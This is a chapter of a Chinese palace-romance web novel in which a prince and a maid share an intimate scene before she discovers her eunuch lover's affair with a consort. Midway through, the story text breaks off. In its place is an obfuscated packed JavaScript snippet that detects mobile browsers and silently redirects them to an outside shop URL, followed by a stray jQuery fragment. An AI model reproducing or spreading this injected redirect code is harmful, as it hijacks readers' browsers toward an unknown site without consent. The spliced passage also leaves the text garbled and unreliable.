文趣网 > 其他小说 > 色衰而爱盛 > 41. 最是绊人心
    殿内柔光温软,落得一室静谧。慕添安垂眸望着身前的姜寻梅,见她纤指轻探,在胭脂盒里点了一点,还以为她终于听懂人话,要将自己打扮一番,却不曾想,下一刻,那抹绯色并未落回她自己干燥浅淡的唇瓣,她抬臂伸出,指尖带着微凉的触感,稳稳点在了他薄凉偏淡的唇上。

    一点嫣红骤然落白,格外醒目。

    慕添安身形微僵,绵长的气息硬生生卡在胸口。他最讨厌旁人将他当作女子般摆弄,更别提涂脂抹粉这种事。从前那些宫女不知分寸,贸然想为他描容上妆,尽数被他冷脸斥退赶出殿外,久而久之,她们再也不敢提及此事。

    可如今,姜寻梅这般大胆逾矩,真真是听不懂人话的,把慕添安气得说不出话来。谁要她把胭脂抹在自己嘴上了?!然而斥责之言忽地堵在唇边,明明满心别扭、万般嫌弃,指尖攥了攥,却半分力气也舍不得使,连偏头躲开的念头都只浮现一瞬便消散了。

    姜寻梅指尖轻轻用力,将那一点胭脂细细抹开,温热细腻的指腹摩挲过他的唇线,一点点晕开柔和的绯色,褪去了他今夜的冷厉寡淡,添了几分惑人的艳。

    她做得专注又认真,眉眼低垂、长睫轻颤,指尖顺着他清晰利落的唇峰细细勾勒,从唇角到唇瓣,力道轻柔缱绻,不厌其烦,似乎还颇得趣味,笑吟吟地道出一句:“点绛唇,公主绘初妆。蛾眉尽扫天山雪,杏眼幽幽望不明,唇启半遮朱帘幕,似飞仙——姜寻梅著。”

    “姜寻梅!”慕添安咬牙切齿一字一沉地唤,听来尽是危险意味。可那又如何?明明是荒唐又出格的举动,他堂堂皇子,被当作玩物般肆意摆弄,偏被她做得像寻常朝夕相伴的亲昵,像新婚燕尔的枕边嬉闹,带着毫无顾忌的熟稔……

    新婚燕尔?这四个字骤然在慕添安心里浮现时,他所有的烦躁戾气和别扭矛盾都让了道。

    慕添安垂眸凝着近在咫尺的她,鼻尖萦绕着淡淡的胭脂香与她身上清浅的气息,心里重重城墙都塌成了烂泥,不得不任姜寻梅肆意胡来。

    他能清晰感受到她指尖的温度,划过唇瓣的每一寸触感都格外清晰,细微的痒意顺着唇瓣蔓延,搅得他纷乱如麻。

    姜寻梅终于收了手,抬眸端详自己的杰作。少年本就面若好女,平时不加修饰便已漂亮得让人挪不开眼,此刻冷白秀丽的面容上,一点朱红缀于唇间,刻意收紧的冷冽锋芒糅合了细碎明艳,并不违和,反而十分撩人。

    慕添安望着她眼底浅浅的笑意,心头又气又软,万般无奈,终究只是沉沉吐了口气,哑声憋出一句带着纵容的嗔怪,半点威慑力也无:“大胆!”

    “不是殿下想尝么?”姜寻梅奇怪地问道,她明明就是按他吩咐来的,怎么又大胆了。

    “谁叫你给我抹了!我让你给自己抹,然后给我吃!”

    “喔,原来是这个意思。”姜寻梅恍然大悟,只是这模样看起来有点假,让慕添安也看不出她到底是不是故意的。“那我错了,我给殿下擦了,殿下莫要生我气。”

    眼见着姜寻梅下意识要拿起手边那刚给他擦了手的帕子,慕添安又是深吸一口,方才忍了又忍。

    “用你的嘴给我擦。”他不自然地哼道,看上去面容还是凶冷,但眸光已凝在姜寻梅唇上,贪恋而渴求。

    放之前他应当是缠着姜寻梅“姐姐”“姐姐”地唤,一直撒娇直到姜寻梅心软为止,然而被姜寻梅认出男子身份后,又有了那一日的交心,他真正得了姜寻梅的“命”,于是也弃掉了那些矫揉造作的低下之态,熟练用起自己皇子身份。

    既然得不到姜寻梅的心,那他就要这个女人臣服于他,做一切他要她做的事。

    然而当姜寻梅依言照做,将脸凑过来亲吻他的嘴唇时,慕添安还是有些把持不住。姜寻梅伸舌顺着唇线舔舐他唇上由自己亲手晕染的胭脂,依旧是那般认真神色,这些时日她似是早已习惯,再没了之前那般一逗就红脸的娇羞,连眼睛都不曾闭上,专心致志用软舌描摹,唯惹得慕添安一个人心乱如麻,红成了同唇色一样的胭脂色。

    他眼里满满倒映着姜寻梅的样子,看得痴迷。他以为自己只是喜欢姜寻梅身上的那种历经沧桑的破碎颓败之态,未曾想如今他越发深陷其中不可自拔,喜欢姜寻梅言笑晏晏时而同他拌嘴的意气模样,也喜欢姜寻梅正正经经认真待他的模样,无论哪种都令他心动不已。

    还想要看到姜寻梅的更多姿态。当那软舌缩回去歇了片刻又伸出时,慕添安情不自禁地将其缠住,把姜寻梅往自己怀里拉得更深,像是要把她深深揉进骨髓间。

    灯火跃动如草木葳蕤,不知过了多久,室内那点轻微又暧昧的响动总算停了下来。更不知姜寻梅又说了什么,慕添安刚被哄好的性子又遭火燃,“你以为自己有多清白吗,还要给你那情郎守身?呵,好啊,我就让你看看,你那情郎背着你干了什么!”

    他不由分说地攥着姜寻梅手腕,拉着人走出寝殿,一路到了东暖阁外,四下无人,宫人们都被遣退,只有暖阁内外的灯火尚还通明。

    淑妃娘娘的大宫女玉碧守在外面,本不让任何人靠近,看到来人是殿下,便有些犹豫要不要拦。慕添安冷笑道:“你就是想拦也拦不住我,我早就知道她那点勾当,还避着我做什么!”

    “但是殿下,你身后这位,奴婢并不认识……”

    “你不认识,里面那家伙可认识!要是为了你家主子好,就放她一起进去!”

    姜寻梅听得云里雾里,不知他在说什么。只是拒绝了慕添安的求欢,慕添安就跟炮仗似的燃了起来,马不停蹄把她带到这来。当真是小孩子气,自己要的就不允许别人拒绝,明明姜寻梅早就说得清楚,唯有这事不可以做,虽然方才两人确实都有情之所至的地方,但,姜寻梅到底还是保持了理智。

    她知道,一旦跨过那条边界,她和慕添安的关系便会变得越发

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17841641|208615||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    复杂难解。不过她更怕的是……是什么呢?是怕慕添安像唐元那样,之前柔情蜜语,之后退避三舍?可她为什么要怕,她和慕添安,本身就是可以任彼此去来的关系,亦或者说,他们之间没什么太紧密的关系。

    玉碧听了这话倒是让开了,探究的眼神在姜寻梅身上逡巡,把她看得心里发毛,连忙低下头去,随殿下一道进去。

    当姜寻梅再抬起头时,却不由睁大了眼睛——她下午才见过的人,此刻竟然就在永和宫内,在淑妃娘娘的身后,像从前抱着她那样将淑妃娘娘抱着,在娘娘耳边温柔地笑着低语,而那温柔,是比姜寻梅见过的还要更甚一些。

    淑妃郁郁寡欢,不苟言笑,看样是还未从二皇子的忌日中脱离出来,但唐元并不在乎,温柔地亲吻着她雪白的脖颈,双手环在她腰间,极尽缠绵。

    “娘娘,既然那女官在衣服上下药能害死胡美人,那我也帮你……好不好?我现在已经是司衣监的掌事太监,圣上和妃子的衣着服饰都归我管,到时候随便推给哪个手下,再不然,就也推给那个女官,娘娘您就不必如此烦忧了……”

    淑妃听了,面无表情地推开了他:“这几天,本宫不想听这些东西。”

    “是,是~是臣错了。”唐元笑,“今夜臣就专注于伺候娘娘就好。”

    “不必,本宫也没有心情做这事,你只需要陪着本宫。”

    两人紧紧相依,像极了交颈鸳鸯,被灯光映照在屏风上双双入影。

    姜寻梅连自己什么时候从东暖阁出来的都不知道,眼里的景象变幻,她却无法辨认又到了何处,而脑海之中,过去的片段也接连变幻,姜寻梅以为那些片段已经飘过去了,下一刻却又飘了回来,纠缠着姜寻梅。

    她以为唐元是真心待她,她以为在这深宫终于有了可以知冷知热、相伴余生的人。她一次又一次地惦念着唐元,在司正面前都不敢将唐元名字说漏,一离开永和宫就急忙跑去见他,怕他担心……结果呢?结果竟是这样。

    难怪,难怪。脑子里的某条线忽然串连了起来,她想起唐元第一次带她来到永和宫,同娘娘的熟稔。怪不得娘娘会答应见她、帮她。她又想起唐元送她的那枚玉钗子,上面微微有破损的痕迹,当时她并没在意,现在看来,估计也是被人用过的东西,娘娘不要,才送给了她。

    难怪她向青婉问起唐元时,青婉支支吾吾、眼神躲闪。从始至终唐元什么都知道,瞧,现在居然还想拿她继续顶罪。

    “姐姐……”

    是谁在唤自己?姜寻梅缓缓回神,下意识望了过去,只是眼里依然没有神采。

    慕添安伸手将她滚落的泪水拭去,他本来想说,看见了吗,这就是你心心念念、要为其守贞的情郎,你就为了这样的家伙拒绝我……但瞧见姜寻梅落泪的那一刻,他什么都说不出了,只觉自己的心也被一道揪了起来。

    “别哭了,姐姐,他不值得你哭。”